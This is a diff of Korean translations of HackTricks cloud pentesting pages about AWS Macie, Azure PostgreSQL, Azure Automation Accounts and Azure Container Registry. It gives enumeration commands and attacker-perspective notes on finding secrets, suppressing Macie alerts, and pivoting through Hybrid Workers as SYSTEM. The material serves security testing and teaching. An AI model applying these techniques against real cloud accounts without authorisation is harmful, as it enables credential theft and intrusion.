||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,48 +1,142 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Introduction
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie는 기계 학습 및 패턴 매칭을 사용하여 민감한 데이터를 발견하고, 데이터 보안 위험에 대한 가시성을 제공하며, 이러한 위험에 대한 자동화된 보호를 가능하게 하는 데이터 보안 서비스입니다.
|
||||
## Macie
|
||||
|
||||
## Listing Findings with AWS Console
|
||||
Amazon Macie는 **AWS 계정 내 데이터를 자동으로 감지, 분류 및 식별**하기 위해 설계된 서비스로 두드러집니다. **기계 학습**을 활용하여 데이터를 지속적으로 모니터링하고 분석하며, 주로 **클라우드 트레일 이벤트** 데이터와 사용자 행동 패턴을 검토하여 비정상적이거나 의심스러운 활동을 감지하고 경고합니다.
|
||||
|
||||
특정 S3 버킷에서 비밀 및 민감한 데이터를 스캔한 후, 결과가 생성되어 콘솔에 표시됩니다. 충분한 권한을 가진 승인된 사용자는 각 작업에 대한 이러한 결과를 보고 나열할 수 있습니다.
|
||||
Amazon Macie의 주요 기능:
|
||||
|
||||
1. **활성 데이터 검토**: AWS 계정 내에서 다양한 작업이 발생할 때 기계 학습을 사용하여 데이터를 적극적으로 검토합니다.
|
||||
2. **이상 탐지**: 비정상적인 활동이나 접근 패턴을 식별하고, 잠재적인 데이터 노출 위험을 완화하기 위해 경고를 생성합니다.
|
||||
3. **지속적인 모니터링**: Amazon S3의 새로운 데이터를 자동으로 모니터링하고 감지하며, 기계 학습과 인공지능을 사용하여 시간에 따라 데이터 접근 패턴에 적응합니다.
|
||||
4. **NLP를 통한 데이터 분류**: 자연어 처리(NLP)를 활용하여 다양한 데이터 유형을 분류하고 해석하며, 위험 점수를 부여하여 발견 사항의 우선 순위를 정합니다.
|
||||
5. **보안 모니터링**: API 키, 비밀 키 및 개인 정보를 포함한 보안 민감 데이터를 식별하여 데이터 유출을 방지하는 데 도움을 줍니다.
|
||||
|
||||
Amazon Macie는 **지역 서비스**이며, 기능을 위해 'AWSMacieServiceCustomerSetupRole' IAM 역할과 활성화된 AWS CloudTrail이 필요합니다.
|
||||
|
||||
### 경고 시스템
|
||||
|
||||
Macie는 경고를 다음과 같은 미리 정의된 범주로 분류합니다:
|
||||
|
||||
- 익명화된 접근
|
||||
- 데이터 준수
|
||||
- 자격 증명 손실
|
||||
- 권한 상승
|
||||
- 랜섬웨어
|
||||
- 의심스러운 접근 등
|
||||
|
||||
이 경고는 효과적인 대응 및 해결을 위한 상세한 설명과 결과 분석을 제공합니다.
|
||||
|
||||
### 대시보드 기능
|
||||
|
||||
대시보드는 데이터를 다양한 섹션으로 분류합니다:
|
||||
|
||||
- S3 객체 (시간 범위, ACL, PII별)
|
||||
- 고위험 CloudTrail 이벤트/사용자
|
||||
- 활동 위치
|
||||
- CloudTrail 사용자 신원 유형 등.
|
||||
|
||||
### 사용자 분류
|
||||
|
||||
사용자는 API 호출의 위험 수준에 따라 계층으로 분류됩니다:
|
||||
|
||||
- **플래티넘**: 높은 위험의 API 호출, 종종 관리자 권한을 가집니다.
|
||||
- **골드**: 인프라 관련 API 호출.
|
||||
- **실버**: 중간 위험의 API 호출.
|
||||
- **브론즈**: 낮은 위험의 API 호출.
|
||||
|
||||
### 신원 유형
|
||||
|
||||
신원 유형에는 Root, IAM 사용자, 가정된 역할, 연합 사용자, AWS 계정 및 AWS 서비스가 포함되어 요청의 출처를 나타냅니다.
|
||||
|
||||
### 데이터 분류
|
||||
|
||||
데이터 분류는 다음을 포함합니다:
|
||||
|
||||
- 콘텐츠 유형: 감지된 콘텐츠 유형에 따라.
|
||||
- 파일 확장자: 파일 확장자에 따라.
|
||||
- 주제: 파일 내 키워드에 따라 분류.
|
||||
- 정규 표현식: 특정 정규 표현식 패턴에 따라 분류.
|
||||
|
||||
이 카테고리 중 가장 높은 위험이 파일의 최종 위험 수준을 결정합니다.
|
||||
|
||||
### 연구 및 분석
|
||||
|
||||
Amazon Macie의 연구 기능은 모든 Macie 데이터에 대해 사용자 정의 쿼리를 허용하여 심층 분석을 수행할 수 있습니다. 필터에는 CloudTrail 데이터, S3 버킷 속성 및 S3 객체가 포함됩니다. 또한, 다른 계정을 초대하여 Amazon Macie를 공유할 수 있어 협업 데이터 관리 및 보안 모니터링을 촉진합니다.
|
||||
|
||||
## AWS 콘솔을 통한 발견 목록
|
||||
|
||||
특정 S3 버킷에서 비밀 및 민감한 데이터를 스캔한 후, 발견 사항이 생성되어 콘솔에 표시됩니다. 충분한 권한을 가진 승인된 사용자는 각 작업에 대한 이러한 발견 사항을 보고 나열할 수 있습니다.
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
|
||||
## Revealing Secret
|
||||
## 비밀 공개
|
||||
|
||||
Amazon Macie는 감지된 비밀을 일반 텍스트 형식으로 표시하는 기능을 제공합니다. 이 기능은 손상된 데이터를 식별하는 데 도움을 줍니다. 그러나 비밀을 일반 텍스트로 표시하는 것은 보안 문제로 인해 일반적으로 모범 사례로 간주되지 않으며, 이는 민감한 정보를 노출할 수 있습니다.
|
||||
Amazon Macie는 감지된 비밀을 일반 텍스트 형식으로 표시하는 기능을 제공합니다. 이 기능은 손상된 데이터를 식별하는 데 도움을 줍니다. 그러나 비밀을 일반 텍스트로 표시하는 것은 보안 문제로 인해 일반적으로 모범 사례로 간주되지 않으며, 민감한 정보가 노출될 수 있습니다.
|
||||
|
||||
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Enumeration
|
||||
### Enumeration
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> 공격자의 관점에서 이 서비스는 공격자를 탐지하기 위해 만들어진 것이 아니라 저장된 파일에서 민감한 정보를 탐지하기 위해 만들어졌습니다. 따라서 이 서비스는 **공격자가 버킷 내에서 민감한 정보를 찾는 데 도움을 줄 수 있습니다**.\
|
||||
> 그러나 공격자는 피해자가 경고를 받지 못하도록 방해하여 정보를 더 쉽게 훔치려 할 수도 있습니다.
|
||||
|
||||
TODO: PRs are welcome!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -9,6 +9,16 @@ PostgreSQL 데이터베이스에 대한 자세한 정보는 다음을 확인하
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### pg_azure_storage 확장을 사용하여 스토리지 계정에 접근하기
|
||||
|
||||
PostgreSQL 서버에서 Azure Storage 계정에 접근하기 위해 **`pg_azure_storage` 확장**을 사용할 수 있습니다. 이는 서버에 할당된 관리 ID의 권한을 사용하여 스토리지 계정에 접근합니다.
|
||||
|
||||
자세한 정보는 권한 상승 섹션에서 설명된 이 기술을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
이 권한을 사용하면 Azure의 Postgres Flexible Server 인스턴스 내에서 새로운 데이터베이스를 생성할 수 있습니다. 이 작업 자체는 기존 리소스를 수정하지 않지만, 과도하거나 무단으로 데이터베이스를 생성하면 리소스 소비 또는 서버의 잠재적 오용으로 이어질 수 있습니다.
|
||||
@@ -18,15 +28,6 @@ az postgres flexible-server db create \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
이 권한을 사용하면 Azure에서 Postgres Flexible Server 인스턴스의 백업 생성을 시작할 수 있습니다. 이를 통해 사용자는 특정 시점에 데이터를 보존하는 데 유용한 온디맨드 백업을 생성할 수 있습니다.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
이 권한을 사용하면 Azure의 Postgres Flexible Server 인스턴스에 대한 Advanced Threat Protection (ATP) 설정을 구성하거나 업데이트할 수 있습니다. 이를 통해 비정상적인 활동 및 잠재적 위협을 감지하고 대응하기 위해 설계된 보안 기능을 활성화하거나 비활성화할 수 있습니다.
|
||||
|
||||
@@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
## Basic Information
|
||||
|
||||
Azure Automation Accounts는 Microsoft Azure의 클라우드 기반 서비스로, Azure 및 온프레미스 환경에서 리소스 관리, 구성 및 업데이트와 같은 **작업을 자동화**하는 데 도움을 줍니다. 이들은 **Runbooks**(실행되는 자동화 스크립트), **일정**, 및 **하이브리드 작업자 그룹**을 제공하여 자동화 **작업**을 실행하고, 코드로서의 인프라(IaC) 및 프로세스 자동화를 통해 클라우드 리소스 관리의 효율성과 일관성을 향상시킵니다.
|
||||
|
||||
### 설정
|
||||
### Settings
|
||||
|
||||
- **자격 증명**: 비밀번호는 자동화 계정 내의 runbook에서만 접근할 수 있으며, **사용자 이름과 비밀번호를 안전하게 저장**하는 데 사용됩니다.
|
||||
- **변수**: runbook에서 사용할 수 있는 **구성 데이터**를 저장하는 데 사용됩니다. 여기에는 API 키와 같은 민감한 정보도 포함될 수 있습니다. 변수가 **암호화되어 저장**되면, 자동화 계정 내의 runbook에서만 사용할 수 있습니다.
|
||||
- **인증서**: runbook에서 사용할 수 있는 **인증서**를 저장하는 데 사용됩니다.
|
||||
- **연결**: 외부 서비스에 대한 **연결 정보**를 저장하는 데 사용됩니다. 여기에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
- **네트워크 접근**: **공개** 또는 **비공개**로 설정할 수 있습니다.
|
||||
- **Credentials**: 비밀번호는 자동화 계정 내의 runbook에서만 접근할 수 있으며, **사용자 이름과 비밀번호를 안전하게 저장**하는 데 사용됩니다.
|
||||
- **Variables**: runbooks에서 사용할 수 있는 **구성 데이터**를 저장하는 데 사용됩니다. 여기에는 API 키와 같은 민감한 정보도 포함될 수 있습니다. 변수가 **암호화되어 저장**되면, 자동화 계정 내의 runbook에서만 사용할 수 있습니다.
|
||||
- **Certificates**: runbooks에서 사용할 수 있는 **인증서**를 저장하는 데 사용됩니다.
|
||||
- **Connections**: 외부 서비스에 대한 **연결 정보**를 저장하는 데 사용됩니다. 여기에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
- **Network Access**: **공개** 또는 **비공개**로 설정할 수 있습니다.
|
||||
|
||||
### Runbooks 및 작업
|
||||
### Runbooks & Jobs
|
||||
|
||||
Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbook은 PowerShell, Python 또는 그래픽 편집기를 사용하여 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다.
|
||||
Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기에서 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다.
|
||||
|
||||
**Runbooks** 내의 **코드**는 **민감한 정보**(예: 자격 증명)를 포함할 수 있습니다.
|
||||
|
||||
**작업은 Runbook 실행의 인스턴스**입니다. Runbook을 실행하면 해당 실행을 추적하기 위해 작업이 생성됩니다. 각 작업에는 다음이 포함됩니다:
|
||||
**Job은 Runbook 실행의 인스턴스**입니다. Runbook을 실행하면 해당 실행을 추적하기 위해 Job이 생성됩니다. 각 job에는 다음이 포함됩니다:
|
||||
|
||||
- **상태**: 대기 중, 실행 중, 완료, 실패, 일시 중지.
|
||||
- **출력**: Runbook 실행의 결과.
|
||||
- **시작 및 종료 시간**: 작업이 시작되고 완료된 시간.
|
||||
- **Status**: 대기 중, 실행 중, 완료, 실패, 일시 중지.
|
||||
- **Output**: Runbook 실행의 결과.
|
||||
- **Start and End Time**: 작업이 시작되고 완료된 시간.
|
||||
|
||||
작업은 **Runbook** 실행의 **출력**을 포함합니다. **작업**을 **읽을 수** 있다면, **출력**이 포함되어 있으므로 **읽어보세요**(잠재적인 **민감한 정보**).
|
||||
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**(잠재적 **민감한 정보**)을 포함하고 있으므로 읽어보세요.
|
||||
|
||||
### 일정 및 웹후크
|
||||
### Schedules & Webhooks
|
||||
|
||||
Runbook을 실행하는 주요 방법은 3가지입니다:
|
||||
|
||||
- **일정**: 특정 **시간** 또는 **간격**에 Runbook을 **트리거**하는 데 사용됩니다.
|
||||
- **웹후크**: 외부 서비스에서 Runbook을 **트리거**하는 데 사용할 수 있는 **HTTP 엔드포인트**입니다. 웹후크 URL은 생성 후 **보이지 않습니다**.
|
||||
- **수동 트리거**: Azure Portal 및 CLI에서 Runbook을 **수동으로 트리거**할 수 있습니다.
|
||||
- **Schedules**: 특정 **시간** 또는 **간격**에 Runbooks를 **트리거**하는 데 사용됩니다.
|
||||
- **Webhooks**: 외부 서비스에서 Runbooks를 **트리거**하는 데 사용할 수 있는 **HTTP 엔드포인트**입니다. 웹후크 URL은 생성 후 **보이지 않습니다**.
|
||||
- **Manual Trigger**: Azure Portal 및 CLI에서 Runbook을 **수동으로 트리거**할 수 있습니다.
|
||||
|
||||
### 소스 제어
|
||||
### Source Control
|
||||
|
||||
**Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 Runbook을 가져올 수 있습니다. 리포지토리의 Runbook을 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다.
|
||||
Runbooks를 **Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 가져올 수 있습니다. 리포지토리의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다.
|
||||
|
||||
동기화가 활성화되면, **Github 리포지토리에서 웹후크가 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. 웹후크 URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
이 웹후크는 **Github 리포지토리와 연결된 runbooks에서 웹후크를 나열할 때 보이지 않습니다**. 또한, 생성된 후 소스 제어의 리포지토리 URL을 **변경할 수 없습니다**.
|
||||
이 웹후크는 Github 리포에 연결된 runbooks에서 웹후크를 나열할 때 **보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 리포 URL을 **변경할 수 없습니다**.
|
||||
|
||||
구성된 소스 제어가 작동하려면, **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리형 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리형 ID를 할당하려면, 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 사용자 MI의 클라이언트 ID를 지정해야 합니다.
|
||||
|
||||
### 런타임 환경
|
||||
### Runtime Environments
|
||||
|
||||
Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본적으로 다음 런타임 환경이 제공됩니다:
|
||||
|
||||
@@ -59,32 +59,32 @@ Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본
|
||||
|
||||
그러나 이러한 환경 중 하나를 기반으로 **자신의 환경을 생성**할 수도 있습니다. Python의 경우, 사용할 환경에 `.whl` 패키지를 업로드할 수 있습니다. PowerShell의 경우, 런타임에 포함할 모듈이 있는 `.zip` 패키지를 업로드할 수 있습니다.
|
||||
|
||||
### 하이브리드 작업자 그룹
|
||||
### Hybrid Worker Groups
|
||||
|
||||
Azure Automation에서 Runbook의 기본 실행 환경은 Azure에서 관리하는 클라우드 기반 플랫폼인 **Azure Sandbox**입니다. 이 환경은 Azure 리소스와 관련된 작업에 적합하지만, 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약이 있습니다. 이러한 제한을 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook 작업자**로 구성됩니다. 이 설정을 통해 Runbook이 이러한 머신에서 직접 실행되어 로컬 리소스에 직접 접근하고, 더 긴 시간 동안 더 많은 리소스를 사용하는 작업을 실행하며, Azure의 즉각적인 범위를 넘어서는 환경과 상호작용할 수 있는 유연성을 제공합니다.
|
||||
Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure에서 관리하는 클라우드 기반 플랫폼으로 Azure 리소스와 관련된 작업에 적합합니다. 그러나 이 샌드박스에는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약과 같은 제한이 있습니다. 이러한 제한을 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook Worker**로 구성되며, 온프레미스, 다른 클라우드 환경 또는 Azure VM에서 실행될 수 있습니다. 이 설정을 통해 Runbooks는 이러한 머신에서 직접 실행되어 로컬 리소스에 직접 접근하고, 더 긴 시간과 더 많은 리소스를 소모하는 작업을 실행할 수 있으며, Azure의 즉각적인 범위를 넘어서는 환경과 상호작용할 수 있는 유연성을 제공합니다.
|
||||
|
||||
하이브리드 작업자 그룹을 생성할 때 사용할 **자격 증명**을 지정해야 합니다. 두 가지 옵션이 있습니다:
|
||||
|
||||
- **기본 자격 증명**: 자격 증명을 제공할 필요가 없으며, Runbook은 **시스템**으로 VM 내에서 실행됩니다.
|
||||
- **특정 자격 증명**: 자동화 계정 내의 자격 증명 객체의 이름을 제공해야 하며, 이는 **VM 내에서 Runbook을 실행하는 데 사용됩니다**. 따라서 이 경우, **유효한 자격 증명**을 **탈취**할 수 있습니다.
|
||||
- **기본 자격 증명**: 자격 증명을 제공할 필요가 없으며, Runbooks는 **System**으로 VM 내에서 실행됩니다.
|
||||
- **특정 자격 증명**: 자동화 계정 내의 자격 증명 객체의 이름을 제공해야 하며, 이는 **VM 내에서 Runbooks를 실행하는 데 사용됩니다**. 따라서 이 경우, **VM에 대한 유효한 자격 증명을 훔칠 수** 있습니다.
|
||||
|
||||
따라서 **하이브리드 작업자**에서 **Runbook**을 실행하도록 선택할 수 있다면, **시스템**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
|
||||
따라서 **하이브리드 작업자**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
|
||||
|
||||
또한, 하이브리드 작업자가 Azure에서 다른 관리형 ID와 함께 실행되는 경우, Runbook은 **메타데이터 서비스에서 Runbook의 관리형 ID 및 VM의 모든 관리형 ID에 접근할 수 있습니다**.
|
||||
또한, 하이브리드 작업자가 Azure에서 다른 관리형 ID와 함께 실행되고 있다면, Runbook은 **Runbook의 관리형 ID와 VM의 모든 관리형 ID에 접근할 수 있습니다**.
|
||||
|
||||
> [!TIP]
|
||||
> **메타데이터 서비스**는 관리형 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있음을 기억하세요 (**`IDENTITY_ENDPOINT`**).
|
||||
> **메타데이터 서비스**의 URL은 **`http://169.254.169.254`**로, 자동화 계정의 관리형 ID 토큰을 가져오는 서비스의 URL(**`IDENTITY_ENDPOINT`**)과 다릅니다.
|
||||
|
||||
### 상태 구성 (SC)
|
||||
### State Configuration (SC)
|
||||
|
||||
> [!WARNING]
|
||||
> [문서](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에 명시된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다.
|
||||
|
||||
Automation Accounts는 **상태 구성 (SC)**도 지원하며, 이는 **VM의 상태를 구성하고 유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
|
||||
Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 **VM의 상태를 구성하고 유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
|
||||
|
||||
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리형 ID로 권한 상승을 가능하게 하며, 잠재적으로 새로운 네트워크로 피벗할 수 있습니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리형 ID로 권한 상승을 가능하게 하며, 잠재적으로 새로운 네트워크로 피벗할 수 있게 합니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
|
||||
## 열거
|
||||
## Enumeration
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
@@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 문헌
|
||||
## 지속성
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## 참조
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
|
||||
@@ -25,14 +25,14 @@ Container Registry에 부여할 수 있는 **다양한 권한**은 [문서에
|
||||
### 인증
|
||||
|
||||
> [!WARNING]
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도 **소문자**를 사용하여 로그인, 푸시 및 풀 이미지를 수행하는 것이 매우 중요합니다.
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도 **소문자**를 사용하여 로그인하고 이미지를 푸시 및 풀하는 것이 매우 중요합니다.
|
||||
|
||||
ACR에 인증하는 방법은 4가지가 있습니다:
|
||||
|
||||
- **Entra ID로**: ACR에 인증하는 **기본** 방법입니다. **`az acr login`** 명령을 사용하여 ACR에 인증합니다. 이 명령은 **`~/.docker/config.json`** 파일에 **자격 증명**을 **저장**합니다. 또한, **클라우드 셸**과 같이 도커 소켓에 액세스할 수 없는 환경에서 이 명령을 실행하는 경우, **`--expose-token`** 플래그를 사용하여 ACR에 인증하기 위한 **토큰**을 얻을 수 있습니다. 그런 다음 인증하려면 사용자 이름으로 `00000000-0000-0000-0000-000000000000`을 사용해야 하며, 예: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **관리자 계정으로**: 관리자 사용자는 기본적으로 비활성화되어 있지만 활성화할 수 있으며, 그러면 관리자 계정의 **사용자 이름**과 **비밀번호**를 사용하여 전체 권한으로 레지스트리에 액세스할 수 있습니다. 일부 Azure 서비스에서 사용되기 때문에 여전히 지원됩니다. 이 사용자에 대해 **2개의 비밀번호**가 생성되며 둘 다 유효합니다. `az acr update -n <acrName> --admin-enabled true`로 활성화할 수 있습니다. 사용자 이름은 일반적으로 레지스트리 이름입니다(즉, `admin`이 아님).
|
||||
- **토큰으로**: 레지스트리에 액세스하기 위해 **특정 `scope map`** (권한)으로 **토큰**을 생성할 수 있습니다. 그런 다음 이 토큰 이름을 사용자 이름으로 사용하고 생성된 비밀번호 중 일부를 사용하여 `docker login -u <registry-name> -p <password> aregistry-url>`로 레지스트리에 인증할 수 있습니다.
|
||||
- **서비스 주체로**: **서비스 주체**를 생성하고 이미지를 풀하기 위해 **`AcrPull`**과 같은 역할을 할당할 수 있습니다. 그런 다음 SP appId를 사용자 이름으로 사용하고 생성된 비밀을 비밀번호로 사용하여 **레지스트리에 로그인**할 수 있습니다.
|
||||
- **Entra ID로**: ACR에 인증하는 **기본** 방법입니다. **`az acr login`** 명령을 사용하여 ACR에 인증합니다. 이 명령은 **`~/.docker/config.json`** 파일에 자격 증명을 **저장**합니다. 또한, **클라우드 셸**과 같이 도커 소켓에 액세스할 수 없는 환경에서 이 명령을 실행하는 경우, **`--expose-token`** 플래그를 사용하여 ACR에 인증하는 **토큰**을 얻을 수 있습니다. 그런 다음 인증하려면 사용자 이름으로 `00000000-0000-0000-0000-000000000000`을 사용해야 하며, 예: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **관리자 계정으로**: 관리자 사용자는 기본적으로 비활성화되어 있지만 활성화할 수 있으며, 그러면 관리자 계정의 **사용자 이름**과 **비밀번호**를 사용하여 레지스트리에 액세스할 수 있습니다. 이는 일부 Azure 서비스에서 사용되기 때문에 여전히 지원됩니다. 이 사용자에 대해 **2개의 비밀번호**가 생성되며 둘 다 유효합니다. `az acr update -n <acrName> --admin-enabled true`로 활성화할 수 있습니다. 사용자 이름은 일반적으로 레지스트리 이름(즉, `admin`이 아님)입니다.
|
||||
- **토큰으로**: 레지스트리에 액세스하기 위해 **특정 `scope map`** (권한)으로 **토큰**을 생성할 수 있습니다. 그런 다음, 토큰의 이름을 사용자 이름으로 사용하고 생성된 비밀번호 중 하나를 사용하여 `docker login -u <registry-name> -p <password> <registry-url>`로 레지스트리에 인증할 수 있습니다.
|
||||
- **서비스 주체로**: **서비스 주체**를 생성하고 이미지를 풀기 위해 **`AcrPull`**과 같은 역할을 할당할 수 있습니다. 그런 다음 SP appId를 사용자 이름으로 사용하고 생성된 비밀을 비밀번호로 사용하여 **레지스트리에 로그인**할 수 있습니다.
|
||||
|
||||
레지스트리에 대한 액세스 권한이 있는 SP를 생성하기 위한 [문서의 예제 스크립트](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal):
|
||||
```bash
|
||||
@@ -49,11 +49,11 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
### 암호화
|
||||
|
||||
오직 **프리미엄 SKU**만이 이미지 및 기타 아티팩트에 대한 **정지 시 암호화**를 지원합니다.
|
||||
